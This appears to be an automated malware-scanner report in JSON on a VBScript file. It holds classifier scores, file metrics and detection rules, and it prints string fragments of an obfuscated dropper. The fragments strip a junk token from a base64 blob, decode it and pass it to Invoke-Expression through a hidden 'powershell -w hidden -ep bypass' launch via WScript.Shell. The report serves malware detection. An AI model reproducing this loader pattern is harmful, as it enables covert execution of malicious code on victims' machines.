{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.9987763166427612,
        "class": 2,
        "threshold": 0.9975002408027649
      }
    ],
    "prob": 0.9987763,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9987763,
        "class": 2
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99750024,
    "analyzed_at": "2026-05-31T12:23:41Z"
  },
  "path": "e42581412a8207ec725a5afeb24365fb338cb5ffa91cd2196dbd12913b38b5f1.vbs",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₃(AsCXe)H₂(Os₂Po₂)",
        "x": 75,
        "ff": {
          "m": {
            "file": {
              "size": 59005.0,
              "entropy": 4.0,
              "size_bytes": 59005.0
            },
            "text": {
              "digit_ratio": 0.01,
              "space_count": 194.0,
              "total_lines": 47.0,
              "char_entropy": 4.0,
              "unique_chars": 79.0,
              "lines_over_200": 10.0,
              "lines_over_500": 10.0,
              "avg_line_length": 1253.43,
              "lines_over_1000": 10.0,
              "max_line_length": 5520.0,
              "empty_line_ratio": 0.02,
              "last_line_length": 59.0,
              "long_token_count": 19.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.12,
              "line_length_stddev": 2217.29,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 107.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "On Error Resume Next"
            ],
            [
              25,
              "u8",
              "cohabitant = \"JdqfvxkxftpbkhelGdqfvxkxftpbkhelNdqfvxkxftpbkhel0dqfvxkxftpbkhelZdqfvxkxftpbkhelWdqfvxkxftpbkhel5dqfvxkxftpbkhelpd"
            ],
            [
              5534,
              "u8",
              "cohabitant = cohabitant \u0026 \"vxkxftpbkheledqfvxkxftpbkhelSdqfvxkxftpbkhelkdqfvxkxftpbkhel7dqfvxkxftpbkhelJdqfvxkxftpbkhelHdqfvxkxf"
            ],
            [
              11056,
              "u8",
              "cohabitant = cohabitant \u0026 \"ftpbkhel0dqfvxkxftpbkheladqfvxkxftpbkhelXdqfvxkxftpbkhelZdqfvxkxftpbkhelldqfvxkxftpbkhelLdqfvxkxftpbk"
            ],
            [
              16577,
              "u8",
              "cohabitant = cohabitant \u0026 \"bkhelBdqfvxkxftpbkhel4dqfvxkxftpbkhelMdqfvxkxftpbkhelDdqfvxkxftpbkhelAdqfvxkxftpbkhelsdqfvxkxftpbkhel"
            ],
            [
              22098,
              "u8",
              "cohabitant = cohabitant \u0026 \"el3dqfvxkxftpbkhelRdqfvxkxftpbkhelodqfvxkxftpbkhelOdqfvxkxftpbkhelydqfvxkxftpbkhelRdqfvxkxftpbkhelzdq"
            ],
            [
              27619,
              "u8",
              "cohabitant = cohabitant \u0026 \"dqfvxkxftpbkhelWdqfvxkxftpbkhelIdqfvxkxftpbkhelgdqfvxkxftpbkhelLdqfvxkxftpbkhelWdqfvxkxftpbkhelVdqfvx"
            ],
            [
              33140,
              "u8",
              "cohabitant = cohabitant \u0026 \"vxkxftpbkhelJdqfvxkxftpbkhelHdqfvxkxftpbkhelVdqfvxkxftpbkhelsdqfvxkxftpbkhelZdqfvxkxftpbkhelWdqfvxkxf"
            ],
            [
              38661,
              "u8",
              "cohabitant = cohabitant \u0026 \"xftpbkhelpdqfvxkxftpbkhelcdqfvxkxftpbkhelydqfvxkxftpbkhelkdqfvxkxftpbkhel7dqfvxkxftpbkhelJdqfvxkxftpb"
            ],
            [
              44182,
              "u8",
              "cohabitant = cohabitant \u0026 \"pbkhelNdqfvxkxftpbkhelldqfvxkxftpbkhelKdqfvxkxftpbkhelCdqfvxkxftpbkhelddqfvxkxftpbkhelBdqfvxkxftpbkhe"
            ],
            [
              49703,
              "u8",
              "cohabitant = cohabitant \u0026 \"hel2dqfvxkxftpbkhel5dqfvxkxftpbkhelpdqfvxkxftpbkhelbdqfvxkxftpbkhelndqfvxkxftpbkhelNdqfvxkxftpbkhel1d"
            ],
            [
              55224,
              "u8",
              "cohabitant = Replace(cohabitant, \"dqfvxkxftpbkhel\", \"\")"
            ],
            [
              55281,
              "u8",
              "Set kishon = CreateObject(\"WScript.Shell\")"
            ],
            [
              55325,
              "u8",
              "WTlK = \"dqfvxkxftpbkhel$cohabitantdqfvxkxftpbkhel='dqfvxkxftpbkhel\" \u0026 cohabitant \u0026 \"dqfvxkxftpbkhel';\""
            ],
            [
              55429,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel$lyarddqfvxkxftpbkhel=dqfvxkxftpbkhel\""
            ],
            [
              55499,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel[dqfvxkxftpbkhelSdqfvxkxftpbkhelydqfvxkxftpbkhel\""
            ],
            [
              55580,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelsdqfvxkxftpbkheltdqfvxkxftpbkheledqfvxkxftpbkhel\""
            ],
            [
              55661,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelmdqfvxkxftpbkhel.dqfvxkxftpbkhelTdqfvxkxftpbkheledqfvxkxftpbkhel\""
            ],
            [
              55758,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelxdqfvxkxftpbkheltdqfvxkxftpbkhel.dqfvxkxftpbkhelEdqfvxkxftpbkhelndqfvxkxftpbkhelcdqfvxkxftpbkhelod"
            ],
            [
              55903,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelddqfvxkxftpbkhelidqfvxkxftpbkhelndqfvxkxftpbkhelgdqfvxkxftpbkhel]dqfvxkxftpbkhel:dqfvxkxftpbkhel\""
            ],
            [
              56032,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel:dqfvxkxftpbkhelUdqfvxkxftpbkhelTdqfvxkxftpbkhelFdqfvxkxftpbkhel8dqfvxkxftpbkhel\""
            ],
            [
              56145,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel.dqfvxkxftpbkhelGdqfvxkxftpbkheledqfvxkxftpbkheltdqfvxkxftpbkhelSdqfvxkxftpbkhel\""
            ],
            [
              56258,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkheltdqfvxkxftpbkhelrdqfvxkxftpbkhelidqfvxkxftpbkhelndqfvxkxftpbkhelgdqfvxkxftpbkhel(dqfvxkxftpbkhel\""
            ],
            [
              56387,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel[dqfvxkxftpbkhelSdqfvxkxftpbkhelydqfvxkxftpbkhelsdqfvxkxftpbkheltdqfvxkxftpbkheledqfvxkxftpbkhelmd"
            ],
            [
              56532,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel.dqfvxkxftpbkhelCdqfvxkxftpbkhelodqfvxkxftpbkhelndqfvxkxftpbkhelvdqfvxkxftpbkheledqfvxkxftpbkhelrd"
            ],
            [
              56677,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkheltdqfvxkxftpbkhel]dqfvxkxftpbkhel:dqfvxkxftpbkhel:dqfvxkxftpbkheldqfvxkxftpbkhelFdqfvxkxftpbkhelrdq"
            ],
            [
              56853,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelBdqfvxkxftpbkheladqfvxkxftpbkhelsdqfvxkxftpbkheledqfvxkxftpbkhel6dqfvxkxftpbkhel\""
            ],
            [
              56966,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhel4dqfvxkxftpbkhelSdqfvxkxftpbkheltdqfvxkxftpbkhel\""
            ],
            [
              57047,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelrdqfvxkxftpbkhelidqfvxkxftpbkhelndqfvxkxftpbkhel\""
            ],
            [
              57128,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelgdqfvxkxftpbkhel(dqfvxkxftpbkhel$dqfvxkxftpbkhelcohabitantdqfvxkxftpbkhel)dqfvxkxftpbkhel)dqfvxkxf"
            ],
            [
              57282,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelIdqfvxkxftpbkhelndqfvxkxftpbkhel\""
            ],
            [
              57347,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelvdqfvxkxftpbkhelodqfvxkxftpbkhelkdqfvxkxftpbkheledqfvxkxftpbkhel-dqfvxkxftpbkhelEdqfvxkxftpbkhelxd"
            ],
            [
              57508,
              "u8",
              "WTlK = WTlK \u0026 \"dqfvxkxftpbkhelrdqfvxkxftpbkheledqfvxkxftpbkhelsdqfvxkxftpbkhelsdqfvxkxftpbkhelidqfvxkxftpbkhelodqfvxkxftpbkhelnd"
            ],
            [
              57735,
              "u8",
              "discontentions = \"dqfvxkxftpbkhelpdqfvxkxftpbkhelodqfvxkxftpbkhelwdqfvxkxftpbkhel\""
            ],
            [
              57819,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkheledqfvxkxftpbkhelrdqfvxkxftpbkhelsdqfvxkxftpbkhelhdqfvxkxftpbkheledqfvxkxftpbkh"
            ],
            [
              57952,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelldqfvxkxftpbkhell dqfvxkxftpbkhel-dqfvxkxftpbkhelwdqfvxkxftpbkhel\""
            ],
            [
              58070,
              "u8",
              "discontentions = discontentions \u0026 \" dqfvxkxftpbkhelhdqfvxkxftpbkhelidqfvxkxftpbkhelddqfvxkxftpbkhelddqfvxkxftpbkheledqfvxkxftpbk"
            ],
            [
              58204,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkheln dqfvxkxftpbkhel-dqfvxkxftpbkhelndqfvxkxftpbkhelodqfvxkxftpbkhelpdqfvxkxftpbk"
            ],
            [
              58338,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelrdqfvxkxftpbkhelodqfvxkxftpbkhelfdqfvxkxftpbkhelidqfvxkxftpbkhel\""
            ],
            [
              58455,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelldqfvxkxftpbkhele dqfvxkxftpbkhel-dqfvxkxftpbkheledqfvxkxftpbkhel\""
            ],
            [
              58573,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelpdqfvxkxftpbkhel bdqfvxkxftpbkhelydqfvxkxftpbkhel\""
            ],
            [
              58675,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelpdqfvxkxftpbkheladqfvxkxftpbkhelsdqfvxkxftpbkhel\""
            ],
            [
              58776,
              "u8",
              "discontentions = discontentions \u0026 \"dqfvxkxftpbkhelsdqfvxkxftpbkhel -dqfvxkxftpbkhelcdqfvxkxftpbkhel \""
            ],
            [
              58879,
              "u8",
              "discontentions = Replace(discontentions, \"dqfvxkxftpbkhel\", \"\")"
            ]
          ],
          "v": {
            "file.stem": "e42581412a8207ec725a5afeb24365fb338cb5ffa91cd2196dbd12913b38b5f1",
            "file.basename": "e42581412a8207ec725a5afeb24365fb338cb5ffa91cd2196dbd12913b38b5f1.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 59005,
        "ts": [
          {
            "a": "T1059.005",
            "c": 0.75,
            "d": "WScript Run method",
            "e": [
              ".Run \""
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-run",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.9200000166893005,
            "d": "WSH runs hidden window",
            "e": [
              ".Run \"\"\u0026 discontentions \u0026\"\"\"\" \u0026 WTlK \u0026 \"\"\"\", 0"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 5520.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "WSH creates shell object",
            "e": [
              "CreateObject(\"WScript.Shell\""
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-shell-create",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.8500000238418579,
            "d": "WScript.Shell object creation",
            "e": [
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 47.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "WScript.Shell object reference",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 1253.43"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 10.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          },
          {
            "a": "T1059.005",
            "c": 0.949999988079071,
            "d": "VBScript WScript.Shell launcher",
            "e": [
              ".Run \"",
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::vbs-powershell-launcher",
            "l": 3
          }
        ],
        "sha": "e42581412a8207ec725a5afeb24365fb338cb5ffa91cd2196dbd12913b38b5f1",
        "path": "e42581412a8207ec725a5afeb24365fb338cb5ffa91cd2196dbd12913b38b5f1.vbs",
        "type": "vbs"
      }
    ],
    "tv": "52045"
  }
}